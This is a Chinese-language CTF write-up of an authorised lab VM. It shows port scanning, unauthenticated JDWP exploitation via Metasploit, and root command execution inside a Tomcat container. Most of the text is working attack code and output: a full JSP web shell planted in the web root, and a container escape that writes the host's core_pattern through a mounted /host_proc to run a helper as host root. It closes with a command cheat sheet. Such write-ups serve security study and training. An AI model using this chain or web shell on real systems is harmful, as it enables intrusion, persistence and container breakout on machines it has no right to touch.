

192.168.139.134 靶机渗透 WP

目标环境：自有虚拟机 / 授权 CTF 靶机

攻击机：WSL / Kali 工具链

目标 IP：192.168.139.134

结果：获得 user flag 和 root flag

0. Flag

```
user flag: flag{user-d47608d442526c015a0ce887ee66b333}  
root flag: flag{root-7e902fffa09d6e5347334eabb19f0b2e}
```

1. 端口扫描

先确认主机在线：

```
ping -c 2 -W 2 192.168.139.134
```

快速扫描常见端口：

```
nmap -Pn -n -T4 --max-retries 1 -F --open -oN nmap_fast_top.txt 192.168.139.134
```

发现开放端口：

```
22/tcp    open  ssh  
25/tcp    open  smtp  
80/tcp    open  http  
110/tcp   open  pop3  
143/tcp   open  imap  
8080/tcp  open  http-proxy
```

再做全端口扫描：

```
nmap -Pn -n -T4 --max-retries 1 --min-rate 5000 -p- --open -oN nmap_all_ports.txt 192.168.139.134
```

补充发现：

```
4000/tcp  open  
5005/tcp  open
```

最终重点端口：

```
22    OpenSSH  
80    Apache HTTPD  
8080  Apache Tomcat 9.0.116  
5005  Java Debug Wire Protocol, JDWP
```

2. Web 指纹

80 端口首页很薄：

```
curl -i http://192.168.139.134/
```

返回：

```
HTTP/1.1 200 OK
Server: Apache/2.4.67 (Unix)

index
```

8080 是 Tomcat 默认页：

```
curl -i http://192.168.139.134:8080/
```

页面标题：

```
Apache Tomcat/9.0.116
```

Tomcat Manager 存在，但远程访问被限制：

```
curl -i http://192.168.139.134:8080/manager/html
```

返回：

```
HTTP/1.1 403
Access Denied
By default the Manager is only accessible from a browser running on the same machine as Tomcat.
```

所以 Manager 不是第一入口。

3. 确认 JDWP

5005 端口手工发 JDWP 握手：

```
python3 - <<'PY'
import socket
s = socket.create_connection(("192.168.139.134", 5005), timeout=5)
s.sendall(b"JDWP-Handshake")
print(repr(s.recv(64)))
s.close()
PY
```

返回：

```
b'JDWP-Handshake'
```

说明 5005 是未认证 JDWP 调试端口。

尝试 Nmap 自带脚本：

```
nmap -Pn -n -sT -p5005 --script jdwp-exec --script-args 'jdwp-exec.cmd=id' 192.168.139.134
```

这里脚本没有成功执行，调试输出显示 Nmap 的 `jdwp.lua` 在解析方法表时报错：

```
bad argument #3 to 'unpack' (initial position out of string)
```

所以换 Metasploit 的 JDWP 模块。

4. 通过 JDWP 获得容器 root 命令执行

Metasploit 模块：

```
msfconsole
use exploit/multi/misc/java_jdwp_debugger
set RHOSTS 192.168.139.134
set RPORT 5005
set TARGET 0
set PAYLOAD linux/x64/exec
set AllowNoCleanup true
```

先验证命令执行。直接用 `cp` 把 `/etc/hostname` 拷贝到 Tomcat Web 根目录：

```
set CMD cp /etc/hostname /usr/local/tomcat/webapps/ROOT/jdwp_probe.txt
run
```

然后从 8080 读取：

```
curl http://192.168.139.134:8080/jdwp_probe.txt
```

返回：

```
73e08a556d2a
```

说明 JDWP RCE 成功，并且当前 JVM 是容器中的 Tomcat。

验证执行权限：

```
set CMD cp /proc/self/status /usr/local/tomcat/webapps/ROOT/proc_status.txt
run
```

读取：

```
curl http://192.168.139.134:8080/proc_status.txt
```

关键内容：

```
Uid: 0 0 0 0
Gid: 0 0 0 0
```

说明当前是容器内 `root`。

5. 获取 user flag

搜索常见 flag 文件：

```
set CMD find / -name user.txt -print > /usr/local/tomcat/webapps/ROOT/find_user.txt
run
```

读取：

```
curl http://192.168.139.134:8080/find_user.txt
```

返回：

```
/root/user.txt
```

复制并读取：

```
set CMD cp /root/user.txt /usr/local/tomcat/webapps/ROOT/read_user.txt
run
```

```
curl http://192.168.139.134:8080/read_user.txt
```

得到：

```
flag{user-d47608d442526c015a0ce887ee66b333}
```

6. 建立稳定 HTTP 命令执行通道

Metasploit 的 `set CMD` 对复杂引号、括号、重定向处理很别扭。为了稳定枚举，写一个临时 JSP 命令执行页到 Tomcat ROOT。

示例 JSP 内容：

```
<%@ page import="java.io.*" %><%
String k="REPLACE_WITH_RANDOM_KEY";
if(!k.equals(request.getParameter("k"))){
    response.setStatus(404);
    return;
}
response.setContentType("text/plain");
String c=request.getParameter("c");
if(c==null){ return; }
String[] cmd={"/bin/sh", "-c", c};
Process p=Runtime.getRuntime().exec(cmd);
p.getOutputStream().close();
byte[] b=new byte[8192];
int n;
InputStream is=p.getInputStream();
while((n=is.read(b))!=-1){ out.write(new String(b,0,n)); }
InputStream es=p.getErrorStream();
while((n=es.read(b))!=-1){ out.write(new String(b,0,n)); }
p.waitFor();
%>
```

生成随机文件名和 key：

```
JSP_NAME="x$(tr -dc 'a-z0-9' </dev/urandom | head -c 10).jsp"
JSP_KEY="k$(tr -dc 'a-z0-9' </dev/urandom | head -c 16)"
```

把 JSP base64 后通过 JDWP 写入：

```
set CMD echo <JSP_BASE64> | base64 -d > /usr/local/tomcat/webapps/ROOT/<JSP_NAME>
run
```

验证：

```
curl -G \
--data-urlencode "k=<JSP_KEY>" \
--data-urlencode "c=id; whoami; pwd" \
"http://192.168.139.134:8080/<JSP_NAME>"
```

返回：

```
uid=0(root) gid=0(root) groups=0(root)
root
/usr/local/tomcat
```

后续枚举都通过这个 HTTP 通道执行，避免反弹 shell 断开。

7. 发现容器逃逸线索

查看挂载：

```
curl -G \
  --data-urlencode "k=<JSP_KEY>" \
  --data-urlencode "c=cat /proc/mounts" \
  "http://192.168.139.134:8080/<JSP_NAME>"
```

关键挂载：

```
proc /host_proc proc rw,nosuid,nodev,noexec,relatime 0 0
```

说明宿主机 `/proc` 被挂载到了容器内 `/host_proc`。

再看宿主机进程：

```
curl -G \
  --data-urlencode "k=<JSP_KEY>" \
  --data-urlencode 'c=for p in /host_proc/[0-9]*; do b=$(basename $p); c=$(tr "\000" " " < $p/cmdline 2>/dev/null | cut -c1-160); [ -n "$c" ] && echo "$b $c"; done | head -80' \
  "http://192.168.139.134:8080/<JSP_NAME>"
```

能看到宿主机进程，例如：

```
1 /sbin/init
3469 /usr/bin/dockerd
3929 /opt/java/openjdk/bin/java ... Tomcat ...
```

直接访问 `/host_proc/1/root` 被权限拦截：

```
curl -G \
  --data-urlencode "k=<JSP_KEY>" \
  --data-urlencode "c=ls -ld /host_proc/1/root 2>&1; readlink /host_proc/1/root 2>&1" \
  "http://192.168.139.134:8080/<JSP_NAME>"
```

返回：

```
Permission denied
```

但 `/host_proc/sys/kernel/core_pattern` 可写：

```
curl -G \
  --data-urlencode "k=<JSP_KEY>" \
  --data-urlencode "c=cat /host_proc/sys/kernel/core_pattern; [ -w /host_proc/sys/kernel/core_pattern ] && echo writable" \
  "http://192.168.139.134:8080/<JSP_NAME>"
```

返回：

```
core
writable
```

这是容器逃逸的关键点。

8. core_pattern 逃逸思路

Linux 的 `/proc/sys/kernel/core_pattern` 如果以管道符 `|` 开头，进程崩溃产生 core dump 时，内核会把 core 内容管道交给指定程序处理。

如果容器里能写宿主机的 `core_pattern`，就可以让宿主内核在宿主命名空间中执行我们指定的 helper。

关键难点是：`core_pattern` 的路径由宿主机解析，不是容器解析。

直接写：

```
|/tmp/coreh %P
```

不会执行容器里的 `/tmp/coreh`，因为宿主机的 `/tmp/coreh` 不存在。

最终可用的技巧：

```
|/proc/%P/root/tmp/proch %P
```

其中：

- `%P` 是崩溃进程在宿主 PID 命名空间中的 PID。
- `/proc/%P/root/tmp/proch` 从宿主视角进入崩溃进程的 rootfs，再执行容器内的 `/tmp/proch`。
- helper 的参数 `$1` 也是宿主 PID，可以用 `/proc/$1/root/...` 把结果写回容器文件系统。

9. 编写 core handler

在容器内写入 `/tmp/proch`：

```
cat > /tmp/proch <<'EOF'
#!/bin/sh
OUT=/proc/$1/root/tmp/host_proc_escape_out
{
    echo HANDLER_RAN
    id
    uname -a
    echo P_ARG=$1
    echo ROOT_LIST
    ls -la /root 2>&1
    echo HOME_FILES
    find /home -maxdepth 4 -type f -print 2>&1
    echo FIND_FLAGS
    find / -xdev -type f \( -iname '*flag*' -o -iname 'root.txt' -o -iname 'proof.txt' -o -iname
'user.txt' \) -print 2>&1
    echo GREP_FLAGS
    grep -R -I -i 'flag{' /root /home /opt /var/www 2>/dev/null
} > "$OUT" 2>&1
EOF
chmod 755 /tmp/proch
```

通过 JSP 执行时可写成：

```
curl -G \
--data-urlencode "k=<JSP_KEY>" \
--data-urlencode "c=<上面的写文件命令>" \
"http://192.168.139.134:8080/<JSP_NAME>"
```

10. 触发宿主机执行 helper

先保存原始 `core_pattern` :

```
OLD=$(curl -sG \
--data-urlencode "k=<JSP_KEY>" \
--data-urlencode "c=cat /host_proc/sys/kernel/core_pattern" \
"http://192.168.139.134:8080/<JSP_NAME>")
```

设置新的 `core_pattern` :

```
curl -G \
--data-urlencode "k=<JSP_KEY>" \
--data-urlencode 'c=echo "|/proc/%P/root/tmp/proch %P" > /host_proc/sys/kernel/core_pattern; cat /host_proc/sys/kernel/core_pattern' \
"http://192.168.139.134:8080/<JSP_NAME>"
```

返回 :

```
|/proc/%P/root/tmp/proch %P
```

触发一个进程崩溃 :

```
curl -G \
--data-urlencode "k=<JSP_KEY>" \
--data-urlencode 'c=ulimit -c unlimited; cd /tmp; /bin/sleep 20 & p=$!; echo crashpid=$p; kill -SEGV $p; wait $p 2>/dev/null || true; sleep 4' \
"http://192.168.139.134:8080/<JSP_NAME>"
```

恢复 `core_pattern` :

```
curl -G \
--data-urlencode "k=<JSP_KEY>" \
--data-urlencode "c=echo core > /host_proc/sys/kernel/core_pattern; cat /host_proc/sys/kernel/core_pattern" \
"http://192.168.139.134:8080/<JSP_NAME>"
```

返回 :

```
core
```

读取 handler 输出 :

```
curl -G \
--data-urlencode "k=<JSP_KEY>" \
--data-urlencode "c=cat /tmp/host_proc_escape_out 2>&1" \
"http://192.168.139.134:8080/<JSP_NAME>"
```

关键输出 :

```
HANDLER_RAN
uid=0(root) gid=0(root)
Linux Tommy 7.0.9-0-stable #1-Alpine SMP PREEMPT_DYNAMIC 2026-05-17 15:58:42 x86_64 Linux
P_ARG=5635
ROOT_LIST
total 16
drwx-----  3 root    root      4096 May 21 21:18 .
drwxr-xr-x  21 root    root      4096 May 30 14:40 ..
lrwxrwxrwx   1 root    root        9 Feb 25 17:00 .bash_history -> /dev/null
drwx-----  2 root    root      4096 Apr 26 01:12 .ssh
```

```
-rw-r--r-- 1 root root 44 May 21 21:19 root.txt

FIND_FLAGS
/root/root.txt

GREP_FLAGS
/root/root.txt:flag{root-7e902fffa09d6e5347334eabb19f0b2e}
```

得到 root flag :

```
flag{root-7e902fffa09d6e5347334eabb19f0b2e}
```

11. 利用链总结

完整链路：

```
端口扫描
-> 发现 8080 Tomcat 和 5005 JDWP
-> JDWP 未认证
-> Metasploit java_jdwp_debugger 获得容器 root 命令执行
-> 读取 /root/user.txt 拿 user flag
-> 写入临时 JSP 作为稳定 HTTP 命令执行通道
-> 发现 /host_proc 挂载宿主机 proc
-> /host_proc/sys/kernel/core_pattern 可写
-> 设置 core_pattern 为 |/proc/%P/root/tmp/proch %P
-> 触发容器内进程崩溃
-> 宿主机内核以宿主 root 执行容器内 helper
-> helper 读取宿主 /root/root.txt
-> 拿 root flag
```

核心漏洞/配置问题：

1. JDWP 暴露在外网/靶机网络，且无认证。
2. Tomcat 以 root 身份运行在容器中。
3. 容器挂载了宿主机 `/proc` 到 `/host_proc`。
4. 容器内 root 可写宿主机 `core_pattern`。
5. 通过 core dump helper 实现容器逃逸。

12. 可选清理

如果后续要清理临时痕迹，注意不要误杀当前测试会话。建议手工按文件名清理：

```
# 恢复宿主 core_pattern
echo core > /host_proc/sys/kernel/core_pattern

# 删除容器内临时 handler 和输出
rm -f /tmp/proch /tmp/host_proc_escape_out

# 删除 Tomcat ROOT 下临时 JSP 和中间文件
rm -f /usr/local/tomcat/webapps/ROOT/<JSP_NAME>
rm -f /usr/local/tomcat/webapps/ROOT/find_*.txt
rm -f /usr/local/tomcat/webapps/ROOT/host_*.txt
rm -f /usr/local/tomcat/webapps/ROOT/grep_*_local.txt
rm -f /usr/local/tomcat/webapps/ROOT/files_xdev.txt
rm -f /usr/local/tomcat/webapps/ROOT/flags_paths.txt
rm -f /usr/local/tomcat/webapps/ROOT/read_user.txt
rm -f /usr/local/tomcat/webapps/ROOT/proc_*.txt
```

如果 JSP 已被 Tomcat 编译并缓存，即使源文件删除，当前 Tomcat 进程内可能仍然短时间可访问。彻底清掉需要删除 Tomcat `work/Catalina/...` 下对应编译文件或重启 Tomcat。为了避免断开会话，实战中可以等确认不再需要访问后再重启。

13. 关键命令速查

JDWP 确认：

```
python3 - <<'PY'
import socket
s = socket.create_connection(("192.168.139.134", 5005), timeout=5)
s.sendall(b"JDWP-Handshake")
print(repr(s.recv(64)))
s.close()
PY
```

Metasploit JDWP：

```
use exploit/multi/misc/java_jdwp_debugger
set RHOSTS 192.168.139.134
set RPORT 5005
set TARGET 0
set PAYLOAD linux/x64/exec
set AllowNoCleanup true
set CMD <command>
run
```

JSP 命令执行：

```
curl -G \
--data-urlencode "k=<JSP_KEY>" \
--data-urlencode "c=id" \
"http://192.168.139.134:8080/<JSP_NAME>"
```

core_pattern 逃逸关键值：

```
|/proc/%P/root/tmp/proch %P
```